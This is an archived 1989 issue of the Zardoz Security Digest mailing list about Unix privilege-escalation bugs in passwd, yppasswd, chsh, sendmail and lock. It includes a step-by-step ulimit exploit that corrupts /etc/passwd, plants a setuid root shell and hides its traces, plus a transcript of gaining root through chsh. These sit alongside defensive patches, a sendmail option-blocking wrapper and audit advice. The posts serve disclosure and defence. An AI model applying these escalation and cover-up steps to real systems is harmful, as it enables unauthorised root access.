The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Zardoz 'Security Digest' - Archives (1989 - 1991)
DOCUMENT: Zardoz 'Security Digest' V1 #6 1989-02-07 (1 file, 6811 bytes)
SOURCE: http://securitydigest.org/exec/display?f=zardoz/archive/106.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date: Tue, 7 Feb 89 15:31:01 PST
Subject: Security Digest V1 #6

Security Digest Volume 1 Issue 6

subject(s):

            Consequences of ulimit 0 bug
            Re:  ulimit defect in passwd(1)
            Disabling chfn on Suns doesn't "fix" passwd bug
            yypasswd bug followup
            sendmail bug followup
            More problems with chsh
            A sendmail options workaround.
            Re: lock(1)
            Setuid check program in V1 #4
            shorter security administrator mail name

------------------------------------------------------------------------

Date: 1 Feb 89 06:34:54 CST (Wed)
From: uunet!sugar!peter (Peter da Silva)
Subject: Consequences of ulimit 0 bug

Consider this:

$ sh
$ ulimit 1; passwd
Old password:
New password:
Again:
$ exit
$ passwd
Old password:
New password:
Again:

at this point some random incomplete password entry has been filled
in with empty feilds. If they started at the end of the file and shrunk
it down a bit at a time they could make half a dozen tries before
they ran out of password file. One of these shots may well give
them a file that ends at:

fred:$*@^$*@(&^:101:1:Fred Smith:/usr/fred:
jo

Which will end up as:

fred:$*@^$*@(&^:101:1:Fred Smith:/usr/fred:
jo::0:0:::

Then they just do

$ su jo
# cp /bin/sh /usr/lib/term/a/aardvark
# chmod 6711 /usr/lib/term/a/aardvark

While this is not guaranteed, they can experiment ahead of time. Save the
password file. Leave no traces.

# cp /tmp/passwd.save /etc/passwd
# exit
$ /usr/lib/term/a/aardvark
# adb -w /bin/login
..

You want to leave security of your system to chance?

Long past time the passwd bug was fixed.

------------------------------------------------------------------------

Date: 2 Feb 89 20:27:53 EST (Thu)
From: uunet!Princeton.EDU!jon%jonlab (Jon H. LaBadie)
Subject: Re:  ulimit defect in passwd(1)

The reported problem is much more wide spread than simply Microport's
version on 386's.  It was reported to AT&T more than 3 years ago,
and to my knowledge is present in all versions of System V.  I do
not know of pre-System V, nor of BSD versions.  The problem still
exists on SVR3.2 as released on their own 3B2's.

BTW, on systems with the shadow password file, it may only trash
the shadow file, not the public /etc/passwd file.

The problem lies in a failure to do error return checking.
Passwd(1) works in 3 stages.

1. Loop on read in a line of the /etc/passwd file.  If not your entry,
   write it to a temporary file.
2. For your line, get the new password, then write the new record
   to the temporary file.
3. Read the rest of the /etc/passwd file to the temporary file.

All that accomplished, the temporary file is renamed to /etc/passwd.

Unfortunately, the return codes from the failing writes to the tmp file
are not checked and the temp file is size 0.

Some of you may try to duplicate this reported defect and claim it to
be hogwash.  When you set your ulimit to 0, the passwd program acts
quite reasonably and fails.  I forget the diagnostic.

Don't feel safe though!  I have encountered some passwd programs that
appear to do error checking during the 1st, and possibly the second,
stage listed above.  But during the final stage, no checking is done.

Here the problem is manifested if you set your ulimit to a low number,
not 0, AND your entry is in the passwd file within that many 512 byte
blocks.  Then the portion of the passwd file greater than ulimit blocks
is trashed.

        Programmers -- CHECK THOSE RETURN CODES!!!

------------------------------------------------------------------------

Date: Wed, 1 Feb 89 19:10:42 PST
From: uunet!hot.caltech.edu!bobby (Bobby Bodenheimer)
Subject: Disabling chfn on Suns doesn't "fix" passwd bug

On Suns running yppasswd, you need to be careful....

(ASIDE to the moderator: I was wondering what exactly you envisioned the
security-emergency alias as being used for? Also, I leave it to you to
delete the code below if you don't think it should be posted.)

[ I envision the security-emergency alias being used by CERT or others
that find an in-progress virus infection to warn systems administrators
and to hopefully tell of ways to stop or limit in-progress infestations.
I was speaking to a few members of CERT last week about it.  They are
defining further notification methods, and will probably include
the zardoz security-emergency alias as one of them.  As for the code, I
will post it in a couple of weeks.  The problem is adequately described
without it for now. - neil ]

I am going to call the bug in passwd, fixed by Berkeley in V1.74 of the
ucb-fixes, the "chfn" bug, since that's the way people have exploited it
by way of illustration.

As you know, there is also a bug in the distribution
version of yppasswd under SunOS that allows colons and newlines to be
placed in the password entry, also enabling people to gain root access.
I'm going to call this the yppasswd bug.

Sun has released fixes for the yppasswd bug (in my opinion, they aren't
very good fixes, since they just ignore newlines and change colons to $
signs). I believe that this fixes the yppasswd bug.

I have seen several suggestions on the net for binary-only sites to work
around the chfn bug by disabling chfn using adb or some other method.

This is NOT sufficient for circumventing the problem. The yppasswd call
allows one to insert a string for my password which is very long -- too long
for a passwd without the Berkeley patches to process correctly. So, in
effect, I can do the same thing people were doing with chfn but using
chsh instead.

Here's a detailed example.

[ The program will be posted later - neil ]

Here is an excerpt the password file before I run the program:

acsl:b/a2et2SSyvtc:25:30:ACSL Owner Account:/usr/local/acsl:/bin/csh
bobby:TVwsgA35s4xqs:26:30:& Bodenheimer,309S,2179,5776769:/home/mean/bobby:/bin/csh
pmy:Fcicr2Dqrcm5M:27:30:Peter M. Young, 309S,4819,5689582:/home/hot/pmy:/bin/csh
boyd:1HrbwdZ0UA4K2o:29:30:Steve &,Stanford,4157230002,4153251782:/home/hot:/bin/csh

[24] hot & whoami
bobby
[25] hot % hole
enter your current password:
succeeded.
[26] hot % chsh
Changing login shell for bobby on hot.
Old shell: /bin/sh
New shell: /bin/csh
[27] hot % su '/bin/csh'
# whoami
root
# touch /etc/junk
# ls -alF /etc/junk
-rw-r--r--  1 root            0 Jan 31 00:17 /etc/junk
# rm /etc/junk
# exit
[28] hot %

Here is the password file after the above: (the entry for bobby was
one line with 948 a's in it; I split it across several lines because
I wasn't sure if everyone's mailers would handle it)

acsl:b/a2et2SSyvtc:25:30:ACSL Owner Account:/usr/local/acsl:/bin/csh
bobby:TVwsgA35s4xqsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaa:26:30:& Bodenheimer,309S,2179,5776769:/home/mean/bobby:/bin/csh
/bin/csh::0:0:::
pmy:Fcicr2Dqrcm5M:27:30:Peter M. Young, 309S,4819,5689582:/home/hot/pmy:/bin/csh
boyd:1HrbwZ0UA4K2o:29:30:Steve &,Stanford,4157230002,4153251782:/home/hot:/bin/csh

Disabling chsh as well as chfn will make this bug inaccessible until new
binaries come, I hope. Here are adb patches to do it on Sun 3's and 4's.
Needless to say, if you can't figure out what these are doing, don't apply
them, because you don't know if you can trust me! Work around it in some
other way.

[ I called the engineer at Sun that supplied these.  He confirmed that
these are the correct patches for 4.0 and 4.0.1 to disable the chfn and
the chsh commands.  He also said that they planned to have most of
the security related patches in release 4.0.2. - neil ]

For Sun-3's:
adb -w /usr/bin/passwd
22f8?w 7200
2318?w 7200
2382?w 42ae
2388?w 42ae

For Sun-4's:
adb -w /usr/bin/passwd
22e4?W b4102000
2308?W b6102000
23a0?W b406a000
23a8?W b606e000

[ These patches are originally
BTW, does anyone care to comment on what exactly the problem with chown
was that was recently patched? I haven't had time to look at the code
closely.

------------------------------------------------------------------------

Date: Thu, 2 Feb 89 09:24:06 est
From: uunet!prcrs!paul (Paul Hite)
Subject: yypasswd bug followup

I have received some email about the yypasswd(3) bug that Ning Zhang found.
Some people indicated that this bug has been known for some time.  I guess
I'm not surprized.  Two people have told me about a partial patch for the
bug on Suns.  This patch to yypasswd(3) checks for colons and newlines, but
it doesn't introduce a limit on the length of the encrypted password entry.

To reiterate Zhang's advice, yypasswd(3) should prohibit colons and newlines
and it should check the length of the password field.  With this patched
version of yypasswd(3) it is still possible to break root by rendering a
passwd file entry longer than BUFSIZ, which will break other programs like
passwd and chfn.  It is crucial that any program which writes to /etc/passwd
take steps to ensure that no entry is ever longer than BUFSIZ.

An encrypted password entry is 13 characters.  So at first blush we might
be tempted to limit the field to 13 characters.  But recent System V
versions have added password aging info to the end of the field.  Some sites
may have even implemented a similiar but different scheme.  So I do
understand the reluctance to the introduction of a field size limit.  Still,
security demands some limit.  Even a limit of 100 characters would do.

In the meantime, if you have the partial patch, you probably should install
it.  It is better than no patch at all.

------------------------------------------------------------------------

Date: Thu, 2 Feb 89 09:12:55 est
From: uunet!prcrs!paul (Paul Hite)
Subject: sendmail bug followup

Thanks to all those who replied to me regarding the sendmail -Q. bug.
I've learned that there are legit uses for the -Q flag and that recent
public domain sendmails don't have the bug.

Some of you wondered which version of sendmail that we run.  Well, there's
no easy answer.  We are using the most recent version of HP-UX and a very
recent version of Ultrix.  In both cases we are using the manufacter's
supplied sendmail.  The version numbers just don't relate to the PD
version numbers.  But...you did ask.  Here is the output from a
sendmail -bs on both systems:

220 prcrs.local Sendmail 1.2/Ultrix2.0-B ready at Tue, 24 Jan 89 09:42:35 est
220 prctax HP Sendmail 13.1 ready at Tue, 24 Jan 89 09:43:30 est

So I guess that we are using sendmail 1.2 and sendmail 13.1!  I can obtain
more version numbers with "what", but I'll spare you.

I will suggest to my boss that we switch to a recent sendmail.  Messages in
comp.mail.sendmail suggest that this is a good idea for several reasons.

------------------------------------------------------------------------

Date: Thu, 2 Feb 89 04:25:10 PST
From: david@dhw68k.cts.com (David H. Wolfskill)
Subject: More problems with chsh

>From: bobby@hot.caltech.edu (Bobby Bodenheimer) Wed, 1 Feb 89 19:10:42 PST

>This is NOT sufficient for circumventing the problem....
>So, in effect, I can do the same thing people were doing with chfn but
>using chsh instead.

I found another problem with chsh:

My site is (essentially) System V.2, but also has csh & some other
BSDisms.

>From the beginning, I implemented a policy of enforced "password aging"
for non-administrivia logins (yes, including my own).

Every once in a while, I found that my password wasn't expiring when I
expected.and then found that *all* of the password aging
information... an on *each* entry in /etc/passwd -- was gone.

I found that I was able to reproduce this failure consistently:  any use
of chsh would destroy all password aging information in the passwd file.

I made chsh non-executable, and informed my vendor.  (Binary site --
worse, vendor went belly-up 30 September, 1989.  Have heard rumors about
a new firm for support, but no direct contact yet....)  I haven't been
sufficiently ambitious (yet) to write a replacement chsh.  (For the low
volume of such requests, I'm willing to do this by hand for users, if
they really want to change shells.)

------------------------------------------------------------------------

Date: Thu, 2 Feb 89 15:46:07 PST
From: unknown because of wierd mail problem
Subject: A sendmail options workaround.

>From iis!eiger!prl Tue Jan 31 13:36:19 MET 1989 remote from ethz

We have been running a workaround to the various options bugs
in sendmail for a while now on rusty old binary-only systems,
and it seems to work. It is a small C program which examines its
options and refuses to exec() the real sendmail if euid != ruid
and it doesn't like the options.

For people who really want to use the options like -oQ, maybe it
could do a seteuid(getuid()) before running sendmail.

To install, compile it,
        mv /usr/lib/sendmail /usr/lib/real_sendmail
        chmod u-s /usr/lib/real_sendmail
        cp sendmail_censor /usr/lib/sendmail
        chmod u+s /usr/lib/sendmail

Please let me know if you encounter problems.

It's a hack.

--------cut here-------
#include <stdio.h>

char to_exec[] = "/usr/lib/real_sendmail";
char evil_args[]    = "Cd";
char evil_opts[]    = "MQRSug";

in(c, s)
register char c, *s;
{
        while(*s)
                if(c == *s++)
                        return 1;
        return 0;
}

main(ac, av)
char **av;
{
        int argc = ac;
        char **argv = av;

        argc = ac; argv = av;
        if(getuid() != geteuid()) {
                while(argc > 0) {
                        if(**argv == '-' && in(argv[0][1], evil_args)) {
                                fprintf(stderr,"Sendmail: Illegal argument %s, see your System Administrator\n",*argv);
                                exit(1);
                        }
                        else if(**argv == '-' && argv[0][1] == 'o'
                                        && in(argv[0][2], evil_opts)) {
                                fprintf(stderr,"Sendmail: Illegal option %s, see your System Administrator\n",*argv);
                                exit(1);
                        }
                        argv++; argc--;
                }
        }
        execv(to_exec, av);
        perror(to_exec);
        exit(1);
}



------------------------------------------------------------------------

Date: 31 Jan 89 23:52:43 EST (Tue)
From: uunet!lsuc!dave (David Sherman)
Subject: Re: lock(1)

Our /usr/ucb/lock had the "hasta la vista" as well, which
isn't surprising since this system (Perkin-Elmer Edition VII
UNIX) has BSD tools of roughly 4.0-4.1 vintage.  A point to
note: when you're fixing this, just comment out the code which
checks against "masterp". *DO NOT* simply change the magic
password to "something only you know", unless you are absolutely
sure that both the source *and the binary* are unreadable to
others.  Otherwise strings(1) will let anyone find the new magic
word in about 1.5 seconds.

If you don't have source, write your own lock(1), using
getpass(3).  Shouldn't take more than 5 minutes.  (I can't
do one for the list now because I've looked at the source.)

------------------------------------------------------------------------

Date: Fri, 3 Feb 89 18:28:08 +1100
From: uunet!munnari!physiol.su.oz.au!daved (Dave Davey)

Subject: Setuid check program in V1 #4

A few comments:
        - this approach can catch security breaches - it has here;
          but the comments regarding run frequency are important.
          I'd say at least nightly. Random times would be best.
        - don't restrict it only to user root, on some systems
          other setuid programs are quite significant
        - check setgid programs too
        - in addition to "find ... -ls" examine the ls for other
          sensitive programs, e.g.
                binaries that perform other security checks
                getty on systems where it reads user passwords
                /dev/*mem and /dev/swap
                encryption programs (crypt, encrypt, decrypt)
        - on some systems "ncheck -s" is much much faster than
                  find.

------------------------------------------------------------------------

Date: Fri, 3 Feb 89 13:14:26 PST
From: sec-rqst
Subject: shorter security administrator mail name

I has come to my attention that some systems (Xenix in particular) exhibit
the following obnoxious behavior:  mail sent to a user on their system
from another system will crash uucico when the name of the sender is
longer than 8 characters.  In light of this, all future postings from
the security mail list will be sent from the user "sec-rqst" instead of
"security-request".  Mail sent to any of the following will reach me:

sec-rqst
sec-request
security-request


END OF DOCUMENT